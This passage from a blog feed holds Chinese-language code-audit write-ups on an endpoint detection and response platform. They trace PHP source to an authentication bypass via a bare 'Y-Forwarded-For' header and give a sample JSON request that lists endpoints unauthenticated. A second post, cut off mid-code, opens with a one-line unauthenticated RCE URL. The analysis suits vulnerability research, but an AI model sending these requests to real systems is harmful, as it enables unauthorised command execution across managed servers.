id=\"\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u6316\u6398\u6743\u9650\u7ed5\u8fc7\">\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u6316\u6398\uff08\u6743\u9650\u7ed5\u8fc7\uff09<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u524d\u51e0\u5929\u6536\u5230\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u672a\u6388\u6743RCE\u7684\u6f0f\u6d1e\u60c5\u62a5\uff0c\u57fa\u672c\u4e0a\u88ab\u5e08\u5085\u4eec\u73a9\u7684\u5dee\u4e0d\u591a\u4e86\uff0c\u57fa\u4e8e\u5176\u4ed6\u793e\u7fa4\u4f20\u51fa\u7684\u6e90\u4ee3\u7801\u8fdb\u884c\u4ee3\u7801\u5ba1\u8ba1\u6316\u6398\u3002<\/p>\n\n<p>\u672c\u6587\u4e0d\u4f1a\u5bf9\u592a\u591a\u7ec6\u8282\u8fdb\u884c\u63cf\u8ff0\uff0c\u4ec5\u505a\u4e00\u4e2a\u6d41\u7a0b\u5206\u6790\u548c\u68b3\u7406\uff0c\u6587\u4e2d\u82e5\u6709\u4e0d\u5f53\u4e4b\u5904\u8fd8\u671b\u5404\u4f4d\u5e08\u5085\u65a7\u6b63\u3002<\/p>\n\n<h2 id=\"\u5ba1\u8ba1\u6d41\u7a0b\">\u5ba1\u8ba1\u6d41\u7a0b<\/h2>\n\n<p>\u5176\u6e90\u4ee3\u7801\u7684\u5927\u81f4\u76ee\u5f55\u5982\u4e0b\uff1a<\/p>\n\n<pre><code>.\n\u251c\u2500\u2500 cascade\n\u251c\u2500\u2500 dbint64_to_array.php\n\u251c\u2500\u2500 dbstr_to_int64.php\n\u251c\u2500\u2500 diskio\n\u251c\u2500\u2500 get_auth.php\n\u251c\u2500\u2500 heart_aware.php\n\u251c\u2500\u2500 kill.exe\n\u251c\u2500\u2500 lang\n\u251c\u2500\u2500 ldb\n\u251c\u2500\u2500 ldb.js\n\u251c\u2500\u2500 ldb_collect.php\n\u251c\u2500\u2500 ldb_daemon.php\n\u251c\u2500\u2500 ldb_manage.php\n\u251c\u2500\u2500 ldb_mapreduce.php\n\u251c\u2500\u2500 ldb_master.php\n\u251c\u2500\u2500 ldb_rest.php\n\u251c\u2500\u2500 ldb_rfs.php\n\u251c\u2500\u2500 ldb_stream.php\n\u251c\u2500\u2500 license\n\u251c\u2500\u2500 link_log_second_convert.php\n\u251c\u2500\u2500 locks\n\u251c\u2500\u2500 manage\n\u251c\u2500\u2500 mapreduce\n\u251c\u2500\u2500 mdb\n\u251c\u2500\u2500 mdb.ini\n\u251c\u2500\u2500 mdb_console.php\n\u251c\u2500\u2500 mdb_server.php\n\u251c\u2500\u2500 misc\n\u251c\u2500\u2500 modify_detect_engine_config.php\n\u251c\u2500\u2500 mongo\n\u251c\u2500\u2500 mongo.exe\n\u251c\u2500\u2500 mongo_config\n\u251c\u2500\u2500 mongod\n\u251c\u2500\u2500 mongodump\n\u251c\u2500\u2500 mongoexport\n\u251c\u2500\u2500 mongoexport.exe\n\u251c\u2500\u2500 mongoimport\n\u251c\u2500\u2500 mongoimport.exe\n\u251c\u2500\u2500 mongorestore\n\u251c\u2500\u2500 netshare.bat\n\u251c\u2500\u2500 patch_upgrade_ipc.php\n\u251c\u2500\u2500 php-fpm-start.sh\n\u251c\u2500\u2500 php-trace\n\u251c\u2500\u2500 phptrace\n\u251c\u2500\u2500 platform\n\u251c\u2500\u2500 start.php\n\u251c\u2500\u2500 start.sh\n\u251c\u2500\u2500 start_mongo.sh\n\u251c\u2500\u2500 start_mongo_for_log.sh\n\u251c\u2500\u2500 sync_execute.php\n\u251c\u2500\u2500 timing_update.php\n\u251c\u2500\u2500 unzip\n\u251c\u2500\u2500 update_virusandavscan.php\n\u251c\u2500\u2500 web\n\u2514\u2500\u2500 zip\n\n<\/code><\/pre>\n\n<p>\u5176\u4e2d<code>\/web<\/code>\u4e3aWeb\u670d\u52a1\u76ee\u5f55\uff0c\u6587\u4ef6\u5747\u53ef\u901a\u8fc7<code>HTTP\u670d\u52a1<\/code>\u8fdb\u884c\u8bbf\u95ee\uff0c\u987e\u6211\u4eec\u4ece\u8be5\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u4e0b\u624b\u5ba1\u8ba1\u3002<\/p>\n\n<h3 id=\"ldb_mapreduce_invoke-\u51fd\u6570\u5206\u6790\">ldb_mapreduce_invoke \u51fd\u6570\u5206\u6790<\/h3>\n\n<p>\u4e0d\u662f\u4e00\u628a\u68ad\u76840day\u90fd\u4e0d\u53eb0day\uff0c\u5bfb\u627e\u80fd\u52fe\u8d77\u5174\u8da3\u7684\u6587\u4ef6\uff0c\u53d1\u73b0\u4e86\u5b83\uff08\u6587\u4ef6\u540d\u5e26\u6709<code>upload<\/code>\uff09<code>\/bin\/web\/divideUploader.php<\/code>\uff1a<\/p>\n\n<pre><code class=\"language-php\">if($_SERVER['REQUEST_METHOD']==\"POST\"){\n    \/\/\u8d85\u65f6\u5f00\u5173\u6253\u5f00\uff0c\u540e\u53f0\u767b\u5f55\u65f6\u95f4\u4e0d\u5237\u65b0\n    $update = (isset($_POST['auto']) &amp;&amp; $_POST['auto'] == AUTO_FLASH_SWITCH) ? false : true;\n    ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update);\n    ...\n}\n<\/code><\/pre>\n\n<p>\u8bbf\u95ee\u6ca1\u6709\u505a\u9650\u5236\uff0c\u53ea\u8981HTTP\u8bf7\u6c42\u7c7b\u578b\u4e3a<code>POST<\/code>\u5c31\u8fdb\u5165\u4e0a\u4f20\u529f\u80fd\u4ee3\u7801\u903b\u8f91\u6d41\u7a0b\uff0c\u4e09\u5143\u8fd0\u7b97\u5f88\u7b80\u5355\u4e0d\u7528\u770b\uff0c\u6211\u4eec\u6765\u770b\u4e0b\u8fd9\u6bb5\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-php\">ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update);\n<\/code><\/pre>\n\n<p>\u8ddf\u8fdb\u51fd\u6570\uff1a<code>ldb_mapreduce_invoke<\/code>\uff0c\u6587\u4ef6\uff1a<code>\/bin\/mapreduce\/core.php<\/code>\uff08<em>line 19<\/em>\uff09\uff1a<\/p>\n\n<pre><code class=\"language-php\">\/*\n * \u5168\u5c40\u7684mapreduce\u5bf9\u8c61\uff0c\u63d0\u4f9b\u6240\u6709map\/reduce\u5de5\u4f5c\u5668\u4ef6\u7684\u6ce8\u518c\u548c\u83b7\u53d6\u63a5\u53e3\n *\/\n$ldb_mapreduce = (object)array();\n\n\/*\n * \u8c03\u7528mapduce\u63a5\u53e3\uff0c\u53d8\u53c2\n * @return mix \u8fd4\u56de\u8c03\u7528\u63a5\u53e3\u7684\u8fd4\u56de\u503c\n *\/\nfunction ldb_mapreduce_invoke() {\n    global $ldb_mapreduce;\n    \n    $params = func_get_args();\n    if (!count($params)) {  \n        return false;\n    } \/\/\u5224\u65ad\u53c2\u6570\u4e2a\u6570\uff0c\u5982\u679c\u4e3a0\u5219return false;\n    $func = $params[0];\n    if (!property_exists($ldb_mapreduce, $func)) {\n        return false;\n    }\n    $params[0] = $ldb_mapreduce;\n    return call_user_func($ldb_mapreduce-&gt;$func, $params);\n}\n<\/code><\/pre>\n\n<p>\u63a5\u6536\u81ea\u5b9a\u4e49\u53c2\u6570\u5217\u8868\uff1a<code>$params = func_get_args();<\/code>\uff08 \u8be5\u51fd\u6570\u4ee5\u6570\u7ec4\u5f62\u5f0f\u8fd4\u56de\uff0c\u83b7\u53d6\u5f53\u524d\u51fd\u6570\u7684\u6240\u6709\u4f20\u5165\u53c2\u6570\u503c \uff09\uff0c\u5728\u8fd9\u5c31\u662f<code>array('call_method','util.common.auth', 'app_auth_check', $update)<\/code><\/p>\n\n<p>\u8d4b\u503c\uff08 <code>$params[0] = 'call_method'<\/code> \uff09 <code>$func<\/code>\uff0c\u68c0\u67e5 <code>$func<\/code> \u5c5e\u6027\u662f\u5426\u5b58\u5728\u4e8e\u6307\u5b9a\u7684\u7c7b\uff08 <code>$ldb_mapreduce<\/code> \uff09\u4e2d\uff1a<\/p>\n\n<pre><code class=\"language-php\">$func = $params[0];\nif (!property_exists($ldb_mapreduce, $func)) {\n    return false;\n}\n<\/code><\/pre>\n\n<p>\u6700\u540e<code>call_user_func<\/code>\u51fd\u6570\u56de\u8c03\uff0c\u8c03\u7528<code>$ldb_mapreduce-&gt;call_method<\/code>\u65b9\u6cd5\uff0c\u7ee7\u7eed\u8ddf\u8fdb\u6b64\u65b9\u6cd5\uff08 <em>line 239<\/em> \uff09\uff1a<\/p>\n\n<pre><code class=\"language-php\">$ldb_mapreduce-&gt;call_method = function ($params) {\n    if (count($params) &lt; 3) {\n        return false;\n    }\n    $object = array_shift($params);\n    $id     = array_shift($params);\n    $method = array_shift($params);\n    $object = call_user_func($object-&gt;get, array($object, $id));\n    if (!is_object($object) \n        || !property_exists($object, $method)\n        || !is_callable($object-&gt;$method)) {\n        return false;\n    }\n    return call_user_func_array($object-&gt;$method, $params);\n};\n<\/code><\/pre>\n\n<p>\u7b80\u5355\u7406\u89e3\uff0c\u8fd9\u662f\u4e00\u4e2a\u533f\u540d\u51fd\u6570\uff0c\u5f62\u53c2 <code>$params<\/code>\uff08 \u5728\u8fd9\u91cc\u4e5f\u5c31\u8868\u793a<code>array($ldb_mapreduce, 'util.common.auth', 'app_auth_check', $update)<\/code> \uff09\uff0c\u5224\u65ad <code>$params<\/code> \u6570\u7ec4\u957f\u5ea6\u662f\u5426\u5c0f\u4e8e<code>3<\/code>\uff0c\u5728\u8fd9\u91cc\u660e\u663e\u4e0d\u5c0f\u4e8e\uff0c\u6240\u4ee5\u7ee7\u7eed\u8ddf\u8fdb\u8d4b\u503c\u53d8\u91cf\uff0c\u5176\u4e00\u4e00\u5bf9\u5e94\u5185\u5bb9\u4e3a\uff1a<\/p>\n\n<pre><code class=\"language-php\">$object = array_shift($params); \/\/ -&gt; $ldb_mapreduce\n$id     = array_shift($params); \/\/ -&gt; util.common.auth\n$method = array_shift($params); \/\/ -&gt; app_auth_check\n<\/code><\/pre>\n\n<p>\u8d4b\u503c\u5b8c\u6210\u4e4b\u540e\u8fdb\u5165\u56de\u8c03\u51fd\u6570\uff1a<code>$object = call_user_func($object-&gt;get, array($object, $id));<\/code>\uff0c\u8c03\u7528<code>$ldb_mapreduce-&gt;get<\/code>\u4f20\u5165<code>array($object, $id))<\/code>\uff0c\u63a5\u4e0b\u6765\u7ee7\u7eed\u8ddf\u8fdb<code>$ldb_mapreduce-&gt;get<\/code>\uff1a<\/p>\n\n<pre><code class=\"language-php\">\/*\n * \u83b7\u53d6\u7ec4\u4ef6\n * @param array $params \u53c2\u6570\u6570\u7ec4\uff0carray(\u5bf9\u8c61, \u540d\u79f0)\n * @return callable \u8fd4\u56de\u7ec4\u4ef6\u6784\u9020\u5668\uff0c\u5982\u679c\u6ca1\u6709\u6784\u9020\u5668\u8fd4\u56denull\n *\/\n$ldb_mapreduce-&gt;get = function ($params) use(&amp;$store_root) {\n\/\/ldb_info(\"get params: \".json_encode($params));\n    list($object, $id) = $params;\n    if (!strstr($id, \"@\")) {\n        $id = \"$id@ldb\";\n    }\n    $fields = preg_split(\"\/[\\.\\\\\\\\\\\\\/]+\/\", $id);\n    if (!count($fields)) {\n        return null;\n    }\n    $component = $fields[0];\n    \/\/ldb_info(\"$component\");\n    $id = implode(\"\/\", $fields);\n    list($path, $base) = explode(\"@\", $id);\n    if (!property_exists($object, $component) \n        || !array_key_exists($id, $object-&gt;$component)) {\n        if ($base == \"ldb\") {\n            $php = dirname(__FILE__).\"\/$path.php\";\n        } else {\n            $php = \"$store_root\/$base\/bin\/$path.php\";\n        }\n        if (!file_exists($php)) {\n            return null;\n        }\n        if (!class_exists(\"Error\")) {\n            require_once($php);    \n        } else {\n            try {\n                require_once($php);\n            } catch (Error $e) {\n                ldb_die($e);\n            }\n        }\n    \/\/ldb_info(\"id: \".$id.\",component: \".$object-&gt;$component);\n        if (!array_key_exists($id, $object-&gt;$component)) {\n            ldb_info(\"! array_key_exists\");\n            return null;\n        }\n    }\n    $components = $object-&gt;$component;\n    return $components[$id];\n};\n<\/code><\/pre>\n\n<p>\u7531\u4e8e\u4ee3\u7801\u8fc7\u957f\uff0c\u5f88\u591a\u53ef\u4ee5\u76f4\u63a5\u5728\u672c\u5730\u8c03\u8bd5\u8f93\u51fa\uff0c\u5927\u6982\u89e3\u91ca\u4e0b\u8fd9\u91cc\u7684\u610f\u601d\uff0c\u5c31\u662f\u5c06<code>$id = 'util.common.auth';<\/code>\u5904\u7406\u53d8\u6210\u8def\u5f84<code>$php = dirname(__FILE__).\"\/$path.php\";<\/code>\uff0c\u7ed3\u679c\u5c31\u662f<code>\/bin\/mapreduce\/util\/common\/auth.php<\/code><\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15979094220269.jpg\" alt=\"-w1170\" \/><\/p>\n\n<p>\u63a5\u7740<strong>require_once\uff08 \u5305\u542b \uff09<\/strong>\u8fd9\u4e2a\u6587\u4ef6\uff0c\u6700\u540e\u5c06<code>auth.php<\/code>\u6587\u4ef6\u516c\u5f00\u7684\u6ce8\u518c\u63a5\u53e3\u8fd4\u56de\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15979127711439.jpg\" alt=\"-w712\" \/><\/p>\n\n<p>\u81f3\u6b64\uff0c\u6211\u4eec\u5bf9<code>ldb_mapreduce_invoke<\/code>\u51fd\u6570\u7684\u5206\u6790\u5c31\u5dee\u4e0d\u591a\u4e86\uff0c\u6700\u540e\u53c8\u662f\u4e00\u4e2a<code>call_user_func<\/code>\u56de\u8c03\u51fd\u6570\u8c03\u7528<code>auth.php<\/code>\u63a5\u53e3<code>app_auth_check<\/code>\uff1a<\/p>\n\n<pre><code class=\"language-php\">return call_user_func_array($func, $params);\n<\/code><\/pre>\n\n<h3 id=\"app_auth_check-\u51fd\u6570\u5206\u6790\">app_auth_check \u51fd\u6570\u5206\u6790<\/h3>\n\n<p><code>app_auth_check<\/code>\u51fd\u6570\u5c31\u662f\u68c0\u6d4b\u5f53\u524d\u662f\u5426\u5177\u5907\u8bbf\u95ee\u63a5\u53e3\u6743\u9650\u4e0b\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-php\">$app_auth_check = function ($update=true) use(&amp;$login_authed_check,\n                                        &amp;$sess_keyvalue_get,\n                                        &amp;$timeout_check,\n                                        &amp;$dc_session_destroy,\n                                        &amp;$login_redirect,\n                                        &amp;$super_ip_check){\n    \/\/ \u81ea\u52a8\u5316\u653e\u5f00\u6743\u9650\u68c0\u67e5\n    if (ldb_auto_check()) {\n        return true;\n    }\n    \/\/ \u5982\u679c\u662f\u540e\u53f0\u8c03\u7528app\uff0c\u5219\u4e0d\u8fdb\u884c\u6743\u9650\u68c0\u67e5\n    if (ldb_is_cli()) {\n        return true;\n    }\n    \/\/\u5982\u679c\u662f\u901a\u8fc7\u7279\u6743IP\u767b\u9646\uff0c\u5219\u4e0d\u9700\u8981\u8fdb\u884c\u6743\u9650\u68c0\u67e5\n    $is_super_ip = call_user_func($super_ip_check);\n    if($is_super_ip){\n        return true;\n    }\n\n    call_user_func($timeout_check, $update);\n\n    \/\/ \u68c0\u6d4b\u662f\u5426\u767b\u5f55\n    $login = call_user_func($login_authed_check);\n    if ($login == false) {\n        call_user_func($login_redirect);\n        return false;\n    }\n    \/\/ \u8fdb\u884c\u63a7\u5236\u53f0\u767b\u9646\u8d85\u65f6\u68c0\u6d4b\n    \/*\n    \/\/ app\u6743\u9650\u68c0\u6d4b\n    $user_auth_info = call_user_func($sess_keyvalue_get, \"auth_page_info\");\n    \/\/ \u68c0\u67e5\u6388\u6743\n    if (isset($user_auth_info[\"$page_id\"][\"auth\"])) {\n        $auth = $user_auth_info[\"$page_id\"][\"auth\"];\n        if ($auth === true) {\n            return true;\n        }\n    }\n    return false;\n    *\/\n    return true;\n};\n<\/code><\/pre>\n\n<p>\u9010\u4e2a\u903b\u8f91\u8ddf\u8fdb\u5206\u6790\u5373\u53ef\uff0c\u6700\u540e\u53d1\u73b0\u7279\u6743IP\u767b\u9646\u7684\u5224\u65ad\u6709\u95ee\u9898\uff1a<\/p>\n\n<pre><code class=\"language-php\">$is_super_ip = call_user_func($super_ip_check);\n    if($is_super_ip){\n        return true;\n    }\n<\/code><\/pre>\n\n<p>\u8ddf\u8fdb\u51fd\u6570<code>super_ip_check<\/code>\uff0c\u53d1\u73b0\u8fd9\u91cc\u83b7\u53d6\u7684\u4e86HTTP\u8bf7\u6c42\u5934\uff08<code>$_SERVER[\"HTTP_Y_FORWARDED_FOR\"] = Y-Forwarded-For<\/code>\uff09\u4e0e<code>$super_ip<\/code>\u8fdb\u884c\u5224\u65ad\uff1a<\/p>\n\n<pre><code class=\"language-php\">$super_ip_check = function() use(&amp;$get_super_ip, &amp;$super_user_check){\n    $super_ip = call_user_func($get_super_ip);\n    $user_addr = $_SERVER[\"HTTP_Y_FORWARDED_FOR\"];\n    if($user_addr == $super_ip){\n        return true;\n    }\n    else{\n        return call_user_func($super_user_check);\n    }\n};\n<\/code><\/pre>\n\n<p>\u9605\u8bfb\u4ee5\u4e0a\u4ee3\u7801\u77e5\u9053<code>$super_ip<\/code>\u662f\u901a\u8fc7\u56de\u8c03\u51fd\u6570\u8c03\u7528<code>get_super_ip<\/code>\u7684\u7ed3\u679c\uff0c\u8fd9\u91cc\u8fd8\u9700\u8981\u518d\u8ddf\u8fdb<code>get_super_ip<\/code>\u51fd\u6570\uff1a<\/p>\n\n<pre><code class=\"language-php\">$get_super_ip = function(){\n    $super_ip_config = ldb_ext_root().\"..\/..\/dc\/config\/cssp_super_ip.ini\";\n    $super_ip = \"\";\n    if(file_exists($super_ip_config)){\n        $super_config_data = parse_ini_file($super_ip_config, true);\n        $super_ip = isset($super_config_data[\"config\"][\"super_ip\"]) ? $super_config_data[\"config\"][\"super_ip\"] : \"\";\n    }\n    \n    return $super_ip;\n};\n<\/code><\/pre>\n\n<p>\u5728\u8fd9\u6bb5\u4ee3\u7801\u4e2d\u6211\u4eec\u5f97\u77e5\u5176\u9700\u8981\u83b7\u53d6<code>cssp_super_ip.ini<\/code>\u6587\u4ef6\u7684\u5185\u5bb9\u8d4b\u503c\u53d8\u91cf<code>$super_ip<\/code>\u518d\u8fdb\u884c<code>return $super_ip<\/code>\uff0c\u4f46\u9ed8\u8ba4\u73af\u5883\u4e0b\u8be5\u6587\u4ef6\u4e0d\u5b58\u5728\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u53d8\u91cf<code>$super_ip<\/code>\u9ed8\u8ba4\u5c31\u662f\u7a7a\u7684\u3002<\/p>\n\n<p>\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u6ee1\u8db3<code>$user_addr == $super_ip<\/code>\u8fd9\u4e2a\u6761\u4ef6\uff0c\u5373\u53ef\u7ed5\u8fc7\u8fd9\u4e2a\u51fd\u6570\uff08\u6743\u9650\uff09\u68c0\u6d4b\uff0c\u7b80\u800c\u8a00\u4e4b\u5c31\u662f\u8bf7\u6c42\u63a5\u53e3\u65f6\u5e26\u6709\u8bf7\u6c42\u5934<code>Y-Forwarded-For:<\/code>\u5373\u53ef\u3002<\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u5229\u7528\">\u6f0f\u6d1e\u5229\u7528<\/h2>\n\n<p>\u7ee7\u7eed\u8ddf\u8fdb<code>divideUploader.php<\/code>\u53d1\u73b0\u6ca1\u529e\u6cd5\u76f4\u63a5\u5229\u7528\uff08\u9650\u5236\u4e86\u4e0a\u4f20\u8def\u5f84\u548c\u540e\u7f00\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15979141178295.jpg\" alt=\"-w557\" \/><\/p>\n\n<p>\u53ea\u80fd\u4e0a\u4f20\u6307\u5b9a\u540e\u7f00\u5230\u6307\u5b9a\u76ee\u5f55\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15979141887122.jpg\" alt=\"-w304\" \/><\/p>\n\n<p>\u5168\u5c40\u641c\u7d22<code>app_auth_check<\/code>\u51fd\u6570\u53d1\u73b0<code>\/bin\/mapreduce\/<\/code>\u76ee\u5f55\u4e0b\u7684\u5f88\u591a\u63a5\u53e3\u90fd\u5728\u6700\u5f00\u59cb\u52a0\u4e86\u4e00\u5c42<code>app_auth_check<\/code>\u51fd\u6570\u7528\u6765\u505a\u6743\u9650\u5224\u65ad\uff0c\u90a3\u4e48\u6211\u4eec\u8fd9\u65f6\u5019\u5c31\u5dee\u4e00\u4e2a\u63a5\u53e3\u8c03\u7528\u7684\u5165\u53e3\u5373\u53ef\u672a\u6388\u6743\u8c03\u7528\u6240\u6709\u63a5\u53e3\u4e86\u3002<\/p>\n\n<p>\u53ea\u80fd\u5728<code>\/bin\/web<\/code>\u53ef\u76f4\u63a5\u8bbf\u95ee\u76ee\u5f55\u4e0b\u5bfb\u627e\uff0c\u53d1\u73b0<code>\/bin\/web\/launch.php<\/code>\u6587\u4ef6\uff0c\u5176\u6587\u4ef6\u6ce8\u91ca\u5c31\u8868\u660e\u4e86\u8fd9\u4e2a\u6587\u4ef6\u662f\u5e94\u7528\u7a0b\u5e8f\u901a\u7528\u6267\u884c\u5165\u53e3\uff0c\u53ef\u4ee5\u901a\u8fc7\u5206\u6790\u7684\u65b9\u5f0f\u6784\u5efa\u8bf7\u6c42\uff08 \u7531\u4e8e\u5206\u6790\u903b\u8f91\u8f83\u7b80\u5355\u8fd9\u91cc\u5c31\u4e0d\u5e26\u5927\u5bb6\u8fc7\u4e00\u904d\u4e86\uff0c\u53ef\u4ee5\u81ea\u81ea\u884c\u5206\u6790 \uff09\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u524d\u53f0\u7684\u65b9\u5f0f\u76f4\u63a5\u6293\u5230\u8be5\u6587\u4ef6\u7684\u8bf7\u6c42\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15979149980794.jpg\" alt=\"-w583\" \/><\/p>\n\n<p>POST\u8bf7\u6c42\u4f20\u9012JSON\u6570\u636e\uff1a<\/p>\n\n<pre><code class=\"language-json\">{\"opr\":\"dlogin\",\"app_args\":{\"name\":\"app.web.auth.login\",\"options\":{}},\"data\":{\"key\":175643761}}\n<\/code><\/pre>\n\n<p>\u5176\u5bf9\u5e94\u5173\u7cfb\u5982\u4e0b<\/p>\n\n<pre><code>app_args.name - \u5bf9\u5e94\u8c03\u7528\u7684\u63a5\u53e3\u6587\u4ef6\nopr - \u5bf9\u5e94\u8c03\u7528\u7684\u516c\u5171\u63a5\u53e3\u51fd\u6570\ndata - \u5bf9\u5e94\u516c\u5171\u63a5\u53e3\u51fd\u6570\u903b\u8f91\u6240\u9700\u7684\u53c2\u6570\n<\/code><\/pre>\n\n<p>\u8fd9\u91cc\u7b80\u5355\u7ffb\u4e86\u4e0b<code>\/bin\/mapreduce\/<\/code>\u76ee\u5f55\u4e0b\u7684\u4e00\u4e9b\u63a5\u53e3\uff0c\u6839\u636e\u5176\u5224\u65ad\u903b\u8f91\u6784\u5efa\u8bf7\u6c42\u5305\uff0c\u8fd9\u91cc\u4ee5\u83b7\u53d6\u6240\u6709\u7ec8\u7aef\u5217\u8868\u4e3a\u4f8b\uff08 \u672a\u6388\u6743 \uff09\uff1a<\/p>\n\n<p>\u672a\u52a0<code>Y-Forwarded-For<\/code>\u5934\u8bf7\u6c42\uff0c\u63d0\u793a\u9700\u8981\u767b\u9646\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15979150411784.jpg\" alt=\"-w1038\" \/><\/p>\n\n<p>\u6dfb\u52a0\u540e\u6743\u9650\u7ed5\u8fc7\uff0c\u76f4\u63a5\u53ef\u4ee5\u83b7\u53d6\u6570\u636e\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15979151015568.jpg\" alt=\"-w1276\" \/><\/p>\n\n<h2 id=\"\u6700\u540e\">\u6700\u540e<\/h2>\n\n<p>\u6b64\u6f0f\u6d1e\u5371\u5bb3\u53ef\u4ee5\u591a\u63a5\u53e3\u642d\u914d\u672a\u6388\u6743\u4e0b\u53d1\u811a\u672c\uff0c\u63a7\u5236\u6240\u6709\u690d\u5165Agent\u7684\u670d\u52a1\u5668\u6743\u9650\uff0c\u5f71\u54cd\u7248\u672c\uff1a&lt;3.2.21<\/p>\n\n<p>\u5410\u69fd\uff1a\u8fd9\u5957\u4ea7\u54c1\u7684\u4ee3\u7801\u903b\u8f91\u771f\u7684\u592a\u82b1\u91cc\u80e1\u54e8\u4e86\uff0c\u903b\u8f91\u7ed5\u6765\u7ed5\u53bb\uff0c\u9605\u8bfb\u65f6\u53ef\u80fd\u9700\u8981\u4e00\u5b9a\u8010\u5fc3\uff0c\u6587\u4e2d\u7701\u7565\u4e86\u4e00\u4e9b\u7ec6\u8282\uff0c\u4f46\u6211\u5df2\u7ecf\u5c3d\u91cf\u5199\u7684\u8ba9\u5927\u5bb6\u80fd\u660e\u767d\u6574\u4e2a\u6838\u5fc3\u903b\u8f91\uff0c\u611f\u8c22\u9605\u8bfb\u3002<\/p>\n\n","pubDate":"2020-09-03T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-09-03\/3","guid":"https:\/\/gh0st.cn\/archives\/2020-09-03\/3"},{"title":"\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u5206\u6790","description":"<h1 id=\"\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u5206\u6790\">\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u5206\u6790<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>2020\u5e7408\u670817\u65e5\u6536\u5230\u4e00\u6761\u6f0f\u6d1e\u60c5\u62a5\uff0c\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u672a\u6388\u6743RCE\uff1a<code>\/tool\/log\/c.php?strip_slashes=system&amp;host=id<\/code><\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15977354683614.jpg\" alt=\"-w1120\" \/><\/p>\n\n<p>\u53c2\u6570\uff1a<strong>host<\/strong>\uff0c\u53ef\u4ee5\u4fee\u6539\u4efb\u610f\u7684\u7cfb\u7edf\u547d\u4ee4\u8fdb\u884c\u6267\u884c\u3002<\/p>\n\n<h2 id=\"\u539f\u7406\u5206\u6790\">\u539f\u7406\u5206\u6790<\/h2>\n\n<p>\u9996\u5148\u6211\u4eec\u8ddf\u8fdb\u4e00\u4e0b<strong>\/tool\/log\/c.php<\/strong>\u6587\u4ef6\u53d1\u73b0\u5176\u6ca1\u6709\u4efb\u4f55\u6743\u9650\u9650\u5236\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u770b\u4e00\u4e0b\u8bf7\u6c42\u53c2\u6570\u662f\u5982\u4f55\u4f20\u9012\u7684\uff0c\u641c\u7d22\u5173\u952e\u8bcd\uff1a<\/p>\n\n<pre><code class=\"language-php\">$_POST\n$_GET\n$_REQUEST\n<\/code><\/pre>\n\n<p>\u5728\u4ee3\u7801\u7b2c144\u884c\u3001146\u884c\u5206\u522b\u8c03\u7528\u4e86<strong>\u53d8\u91cf\u533f\u540d\u51fd\u6570<\/strong>\uff0c\u5e76\u5c06<code>$_REQUEST<\/code>\u4f5c\u4e3a\u4f20\u9012\u53c2\u6570\uff1a<\/p>\n\n<pre><code class=\"language-php\">$show_form($_REQUEST);\n...\n$main($_REQUEST);\n<\/code><\/pre>\n\n<p>\u5148\u8ddf\u8fdb<strong>$show_form<\/strong>\u8fd9\u4e2a\u533f\u540d\u51fd\u6570\uff1a<\/p>\n\n<pre><code class=\"language-php\">$show_form = function($params) use(&amp;$strip_slashes, &amp;$show_input) {\n    extract($params);\n    $host  = isset($host)  ? $strip_slashes($host)  : \"127.0.0.1\";\n    $path  = isset($path)  ? $strip_slashes($path)  : \"\";\n    $row   = isset($row)   ? $strip_slashes($row)   : \"\";\n    $limit = isset($limit) ? $strip_slashes($limit) : 1000;\n    \n    \/\/ \u7ed8\u5236\u8868\u5355\n    echo \"&lt;pre&gt;\";\n    echo '&lt;form id=\"studio\" name=\"studio\" method=\"post\" action=\"\"&gt;';\n    $show_input(array(\"title\" =&gt; \"Host \",  \"name\" =&gt; \"host\",  \"value\" =&gt; $host,  \"note\" =&gt; \" - host, e.g. 127.0.0.1\"));\n    $show_input(array(\"title\" =&gt; \"Path \",  \"name\" =&gt; \"path\",  \"value\" =&gt; $path,  \"note\" =&gt; \" - path regex, e.g. mapreduce\"));\n    $show_input(array(\"title\" =&gt; \"Row  \",  \"name\" =&gt; \"row\",   \"value\" =&gt; $row,   \"note\" =&gt; \" - row regex, e.g. \\s[w|e]\\s\"));\n    $show_input(array(\"title\" =&gt; \"Limit\",  \"name\" =&gt; \"limit\", \"value\" =&gt; $limit, \"note\" =&gt; \" - top n, e.g. 100\"));\n    echo '&lt;input type=\"submit\" id=\"button\"&gt;';\n    echo '&lt;\/form&gt;';\n    echo 